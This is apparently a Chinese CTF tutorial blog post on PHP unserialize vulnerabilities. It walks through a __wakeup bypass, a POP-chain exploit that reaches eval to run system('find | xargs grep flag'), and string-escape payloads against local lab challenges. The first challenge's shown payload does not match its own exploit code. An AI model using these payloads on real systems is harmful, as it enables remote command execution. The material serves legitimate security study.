php反序列化

  • ctf中的php反序列化

前言

  • 序列化 即使用serialize();将类的对象的数据用字符串方式进行表示

  • 反序列化 即使用unserialize();来读取 序列化格式的数据

使用序列化和反序列化 主要是方便数据的存储和数据的转换读取。

序列化格式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
/**
* @Created by PhpStorm_培训
* @Author: shmily-ing
* @Data: 2022/4/29 16:32
*/
class body{
public $height;
public $weight;

public function __construct($height,$weight){
$this->height = $height;
$this->weight = $weight;
}
}

$jyf = new body('180',130);

echo serialize($jyf)."\n";

var_dump(unserialize("O:4:\"body\":2:{s:6:\"height\";s:3:\"180\";s:6:\"weight\";i:130;}"));

输出:

1
2
3
4
5
6
7
8
9
10
O:4:"body":2:{s:6:"height";s:3:"180";s:6:"weight";i:130;}

object(body)#2 (2) {
["height"]=>
string(3) "180"
["weight"]=>
int(130)
}

Process finished with exit code 0

序列化结构:

类型:类长度:”类名”:类的属性数量:{变量1类型:变量名1长度:变量名1; 参数1类型:参数1长度:参数1; 变量2类型:变量名2长度:”变量名2”; 参数2类型:参数2长度:参数2;… …}

漏洞原因

unserialize()的参数可控,通过利用一些魔术方法,构造反序列化字符,进行文件写入,命令执行等操作。

变量三种修饰

public修饰变量

反序列化内容不需要修改

protected修饰变量

1
2
protected $height;
protected $weight;

输出

1
O:4:"body":2:{s:9:" * height";s:3:"180";s:9:" * weight";i:130;}

%00代替空格,占一个字节

1
O:4:"body":2:{s:9:"%00*%00height";s:3:"180";s:9:"%00*%00weight";i:130;}

private修饰变量

1
2
private $height;
private $weight;

输出

1
O:4:"body":2:{s:12:" body height";s:3:"180";s:12:" body weight";i:130;}

同理%00代替空格

1
O:4:"body":2:{s:12:"%00body%00height";s:3:"180";s:12:"%00body%00weight";i:130;}

小绕过

  • 绕过__wakeup()

对象属性个数的值大于真实的属性 (PHP5<5.6.25 或 PHP7<7.0.10)

1
O:4:"body":2:{s:6      ->     O:4:"body":3:{s:6 
  • 绕过preg_match()

使用+绕过正则

1
O:+4:"body":2:{s:6:"height";s:3:"180";s:6:"weight";i:130;}

魔术方法

__construct() #当对象创建时自动被调用

__destruct() #当脚本运行结束时自动被调用

__sleep() #当对象序列化的时候自动被调用

__wakeup() #当反序列化为对象时自动被调用

__toString() #当直接输出对象引用时自动被调用 (echo 等输出)

__call() #当要调用的方法不存在或权限不足时自动被调用

__invoke() #当把一个类当作函数使用时自动被调用

入门题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
include_once( 'flag.php' );
/**
* @Created by PhpStorm_培训
* @Author: shmily-ing
* @Data: 2022/4/29 16:32
*/
class ctf{
public $fla='111';
public function __wakeup(){
exit('bad requests');
}

}
$code = $_GET['code'];
if (isset($code)) {
unserialize($_GET['code']);

if ($fla ='hahaha'){
echo $flag;
}
else {
highlight_file(__FILE__);
}

}
else{
highlight_file(__FILE__);
}

构造$fla =’hahaha’

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
/**
* @Created by PhpStorm_培训
* @Author: shmily-ing
* @Data: 2022/5/8 2:39
*/
class xctf{
public $fla='hahaha';
}
$b = new xctf();
echo serialize($b);

#O:1:"A":1:{s:6:"target";O:1:"B":0:{}}

绕过__wakeup()

1
O:1:"A":2:{s:6:"target";O:1:"B":0:{}}

最终

1
http://127.0.0.1:20001/unserialize1.php/?code=O:1:%22A%22:2:{s:6:%22target%22;O:1:%22B%22:0:{}}

image-20220516011212369

pop链

起点

__destruct() /__wakeup()是起点 (自动调用的方法)

分析

通过起点分析,例如该起点__destruct()方法里面的操作会触发哪些魔术方法,

如果有,则进入下一个类继续那样分析,

如果没有就可以看__destruct()调用哪些其他类的方法,继续到下个类的方法进行分析,

如果__destruct()调用没有哪些其他类的方法,一般不会,因为起点将毫无意义啊,那就只能指向其他类去调有用的方法了吧

分析时候可以正推利用链或者倒推利用链

例题

  • das三月su例题ezpop[atao]

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
 <?php

class crow
{
public $v1;
public $v2;

function eval() {
echo new $this->v1($this->v2);
}

public function __invoke()
{
$this->v1->world();
}
}

class fin
{
public $f1;

public function __destruct()
{
echo $this->f1 . '114514';
}

public function run()
{
($this->f1)();
}

public function __call($a, $b)
{
echo $this->f1->get_flag();
}

}

class what
{
public $a;

public function __toString()
{
$this->a->run();
return 'hello';
}
}
class mix
{
public $m1;

public function run()
{
($this->m1)();
}

public function get_flag()
{
eval('#' . $this->m1);
}

}

if (isset($_POST['cmd'])) {
unserialize($_POST['cmd']);
} else {
highlight_file(__FILE__);
}

?>

从起点__destruct()开始分析 :

  1. 先new fin(),fin()里面有 echo输出,会调用__toString(),看到what里面有这个方法,直接this->f1= new what()

  2. what()里面调了个run方法,fin和mix都有这个方法,这里用mix类方法,$this->a =new mix()

  3. 下面就要用到__invoke这个魔术方法将类当做函数使用 ,$this->m1=new crow()

  4. 进入crow类中的__invoke方法,这个方法里最后会去指向一个world函数,但是搜遍全文未发现该函数。默认会调用__call这个魔术方法,$this->v1=new fin()。

  5. 然后在__call方法中发现$this->f1->get_flag(),$this->f1去调用get_flag()这个方法,所以$this->f1=new mix()。

  6. mix()中通过对m1赋值即可命令执行,前面的注释符使用\n绕过。

利用链过程如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<?php
/**
* @Created by PhpStorm_培训
* @Author: shmily-ing
* @Data: 2022/5/15 21:11
*/
class fin{
public $f1;
public function __destruct()
{
echo $this->f1 . '114514';
}

}
class what
{
public $a;

public function __toString()
{
$this->a->run();
return 'hello';
}
}

class mix{
public $m1;

public function run()
{
($this->m1)();
}
}
class crow{
public $v1;
public function __invoke()
{
$this->v1->world();
}
}

class fin{
public $f1;
public function __call($a, $b)
{
echo $this->f1->get_flag();
}
}

class mix{
public $m1;
public function get_flag()
{
eval('#' . $this->m1);
}


}

exp构造:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
<?php
/**
* @Created by PhpStorm_培训
* @Author: shmily-ing
* @Data: 2022/5/15 21:24
*/

class crow
{
public $v1;
public $v2;

function eval() {
echo new $this->v1($this->v2);
}

public function __invoke()
{
$this->v1->world();
}
}

class fin
{
public $f1;

public function __destruct()
{
echo $this->f1 . '114514';
}

public function run()
{
($this->f1)();
}

public function __call($a, $b)
{
echo $this->f1->get_flag();
}

}

class what
{
public $a;

public function __toString()
{
$this->a->run();
return 'hello';
}
}
class mix
{
public $m1;

public function run()
{
($this->m1)();
}

public function get_flag()
{
eval('#' . $this->m1);
}

}
$a = new fin();

$a->f1=new what();

$a->f1->a=new mix();

$a->f1->a->m1 =new crow();

$a->f1->a->m1->v1=new fin();

$a->f1->a->m1->v1->f1=new mix();

$a->f1->a->m1->v1->f1->m1="\nsystem('find | xargs grep flag');";

echo urlencode(serialize($a));

输出:

1
O%3A3%3A%22fin%22%3A1%3A%7Bs%3A2%3A%22f1%22%3BO%3A4%3A%22what%22%3A1%3A%7Bs%3A1%3A%22a%22%3BO%3A3%3A%22mix%22%3A1%3A%7Bs%3A2%3A%22m1%22%3BO%3A4%3A%22crow%22%3A2%3A%7Bs%3A2%3A%22v1%22%3BO%3A3%3A%22fin%22%3A1%3A%7Bs%3A2%3A%22f1%22%3BO%3A3%3A%22mix%22%3A1%3A%7Bs%3A2%3A%22m1%22%3Bs%3A34%3A%22%0Asystem%28%27find+%7C+xargs+grep+flag%27%29%3B%22%3B%7D%7Ds%3A2%3A%22v2%22%3BN%3B%7D%7D%7D%7Dhello114514

拿到flag

image-20220515233430846

字符串逃逸

  • 可以分两种:字符增加和字符减少

字符增加

核心即构造闭合。

直接上例题 unctf2020 easyunserialize:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
error_reporting(0);
highlight_file(__FILE__);

class a
{
public $uname;
public $password;
public function __construct($uname,$password)
{
$this->uname=$uname;
$this->password=$password;
}
public function __wakeup()
{
if($this->password==='easy')
{
include('flag.php');
echo $flag;
}
else
{
echo 'wrong password';
}
}
}

function filter($string){
return str_replace('challenge','easychallenge',$string);
}

$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>

先反序列化:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
/**
* @Created by PhpStorm_培训
* @Author: shmily-ing
* @Data: 2022/5/8 15:51
*/
class a
{
public $uname;
public $password;
public function __construct($uname,$password)
{
$this->uname=$uname;
$this->password=$password;
}
// public function __wakeup()
// {
// if($this->password==='easy')
// {
// include('flag.php');
// echo $flag;
// }
// else
// {
// echo 'wrong password';
// }
// }
}

function filter($string){
return str_replace('challenge','easychallenge',$string);
}
//";s:8:"password";s:4:"easy";}
//$uname = 'challengechallengechallengechallengechallengechallengechallengechallenge";s:8:"password";s:4:"easy";}aaa';
$uname = 'challenge';
$password = 1;
$s = new a($uname,$password);
var_dump($s);
//
var_dump(serialize($s));

var_dump(filter(serialize($s)));

var_dump(unserialize(filter(serialize($s))));

$uname = 'challenge';结果为:

1
2
3
4
5
6
7
8
9
10
11
12
13
D:\phpstudy_pro\Extensions\php\php7.1.9nts\php.exe C:\Users\25390\PhpstormProjects\培训\exp4.php
object(a)#1 (2) {
["uname"]=>
string(9) "challenge"
["password"]=>
int(1)
}
string(59) "O:1:"a":2:{s:5:"uname";s:9:"challenge";s:8:"password";i:1;}"
string(63) "O:1:"a":2:{s:5:"uname";s:9:"easychallenge";s:8:"password";i:1;}"
bool(false)

Process finished with exit code 0

bool(false)说明序列化字符串有问题,不能被反序列化

var_dump(filter(serialize($s))); ——》O:1:”a”:2:{s:5:”uname”;s:9:”easychallenge”;s:8:”password”;i:1;}

问题就在 challenge -> easychallenge 字符增加4,但uname的长度仍为9个字符,

所以需要为了保证经过filter()函数处理后的序列化内容能够合规,每传入一个challenge,我们就需要在challenge后面加4个字符。

我们目的需要让password的值为easy,题目中给的为固定值,我们只有构造闭合password="easy",";s:8:"password";s:4:"easy";}共有29个字符

逃逸构造:

8个challenge,构造32个字符, 29+3即可

1
$uname = 'challengechallengechallengechallengechallengechallengechallengechallenge";s:8:"password";s:4:"easy";}aaa';

运行结果

image-20220515144058398

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
object(a)#1 (2) {
["uname"]=>
string(104) "challengechallengechallengechallengechallengechallengechallengechallenge";s:8:"password";s:4:"easy";}aaa"
["password"]=>
int(1)
}

string(156) "O:1:"a":2:{s:5:"uname";s:104:"challengechallengechallengechallengechallengechallengechallengechallenge";s:8:"password";s:4:"easy";}aaa";s:8:"password";i:1;}"

string(188) "O:1:"a":2:{s:5:"uname";s:104:"easychallengeeasychallengeeasychallengeeasychallengeeasychallengeeasychallengeeasychallengeeasychallenge";s:8:"password";s:4:"easy";}aaa";s:8:"password";i:1;}"


object(a)#2 (2) {
["uname"]=>
string(104) "easychallengeeasychallengeeasychallengeeasychallengeeasychallengeeasychallengeeasychallengeeasychallenge"
["password"]=>
string(4) "easy" #可以看到password的值已经传入成功
}

O:1:"a":2:{s:5:"uname";s:104:"easychallengeeasychallengeeasychallengeeasychallengeeasychallengeeasychallengeeasychallengeeasychallenge";s:8:"password";s:4:"easy";}aaa”;s:8:”password”;i:1;}``

由于只有两个对象,并且闭合成功,灰色部分就不能执行被丢弃了。

1
2
?1=
challengechallengechallengechallengechallengechallengechallengechallenge";s:8:"password";s:4:"easy";}aaa

image-20220515133610433

字符减少

对上题的简单修改

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
error_reporting(0);
highlight_file(__FILE__);

class a
{
public $u;
public $uname;
public $password;
public function __construct($u,$uname,$password)
{
$this->u = $u;
$this->uname=$uname;
$this->password=$password;
}
public function __wakeup()
{
if($this->password==='easy')
{
include('flag.php');
echo $flag;
}
else
{
echo 'wrong password';
}
}
}

function filter($string){
return str_replace('challenge','',$string);
}
$u=$_GET['u'];
$uname=$_GET['uname'];
$password='1';
$ser=filter(serialize(new a($u,$uname,$password)));
$test=unserialize($ser);
var_dump($test);
?>

目的还是password===easy

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
/**
* @Created by PhpStorm_培训
* @Author: shmily-ing
* @Data: 2022/5/8 15:51
*/
class a
{
public $u;
public $uname;
public $password;
public function __construct($u,$uname,$password)
{
$this->u = $u;
$this->uname=$uname;
$this->password=$password;
}
// public function __wakeup()
// {
// if($this->password==='easy')
// {
// include('flag.php');
// echo $flag;
// }
// else
// {
// echo 'wrong password';
// }
// }
}

function filter($string){
return str_replace('challenge','',$string);
}
$u='xxxxx';
$uname = 'xxxxx';
$password = '1';
$s = new a($u,$uname,$password);
var_dump($s);

var_dump(serialize($s));

var_dump(filter(serialize($s)));

var_dump(unserialize(filter(serialize($s))))
  1. 我们要构造";s:8:"password";s:4:"easy";}才能达到目的
  2. challenge会被置空,会导致";s:5:"uname";s:59:"aaaaaaa成为自己的值,所以还需要构造;s:5:"uname";s:4:"test" uname的值是能够真正传进去的值

image-20220515162549559

所以$uname 需要构造成";s:5:"uname";s:4:"test";s:8:"password";s:4:"easy";}一共52个字符

但是这样肯定是不行,结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
object(a)#1 (3) {
["u"]=>
string(27) "challengechallengechallenge"
["uname"]=>
string(52) "";s:5:"uname";s:4:"test";s:8:"password";s:4:"easy";}"
["password"]=>
string(1) "1"
}
string(150) "O:1:"a":3:{s:1:"u";s:27:"challengechallengechallenge";s:5:"uname";s:52:"";s:5:"uname";s:4:"test";s:8:"password";s:4:"easy";}";s:8:"password";s:1:"1";}"
string(123) "O:1:"a":3:{s:1:"u";s:27:"";s:5:"uname";s:52:"";s:5:"uname";s:4:"test";s:8:"password";s:4:"easy";}";s:8:"password";s:1:"1";}"
bool(false)

Process finished with exit code 0

第二个是过滤后序列化结果,$u 传入3个challenge长度为27,因为filter函数将challenge变为空,导致$u结果成为:";s:5:"uname";s:52:" 只有20个字符长度,

所以$uname需要随机多加7个字符填充

即:xxxxxxx";s:5:"uname";s:4:"test";s:8:"password";s:4:"easy";}

调试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
/**
* @Created by PhpStorm_培训
* @Author: shmily-ing
* @Data: 2022/5/8 15:51
*/
class a
{
public $u;
public $uname;
public $password;
public function __construct($u,$uname,$password)
{
$this->u = $u;
$this->uname=$uname;
$this->password=$password;
}
// public function __wakeup()
// {
// if($this->password==='easy')
// {
// include('flag.php');
// echo $flag;
// }
// else
// {
// echo 'wrong password';
// }
// }
}

function filter($string){
return str_replace('challenge','',$string);
}
$u='challengechallengechallenge';
$uname = 'xxxxxxx";s:5:"uname";s:4:"test";s:8:"password";s:4:"easy";}';
$password = '1';
$s = new a($u,$uname,$password);
var_dump($s);

var_dump(serialize($s));

var_dump(filter(serialize($s)));

var_dump(unserialize(filter(serialize($s))))

image-20220515164805871

发送请求:

1
http://127.0.0.1:20001/5.php/?u=challengechallengechallenge&uname=aaaaaaa";s:5:"uname";s:4:"test";s:8:"password";s:4:"easy";}

image-20220515161717719

参考:

https://blog.csdn.net/m0_57497184/article/details/123490870

https://cloud.tencent.com/developer/article/1627299

  • Copyrights © 2020-2023 Shmily-ing
  • Visitors: | Views:

请我喝杯咖啡吧~

支付宝
微信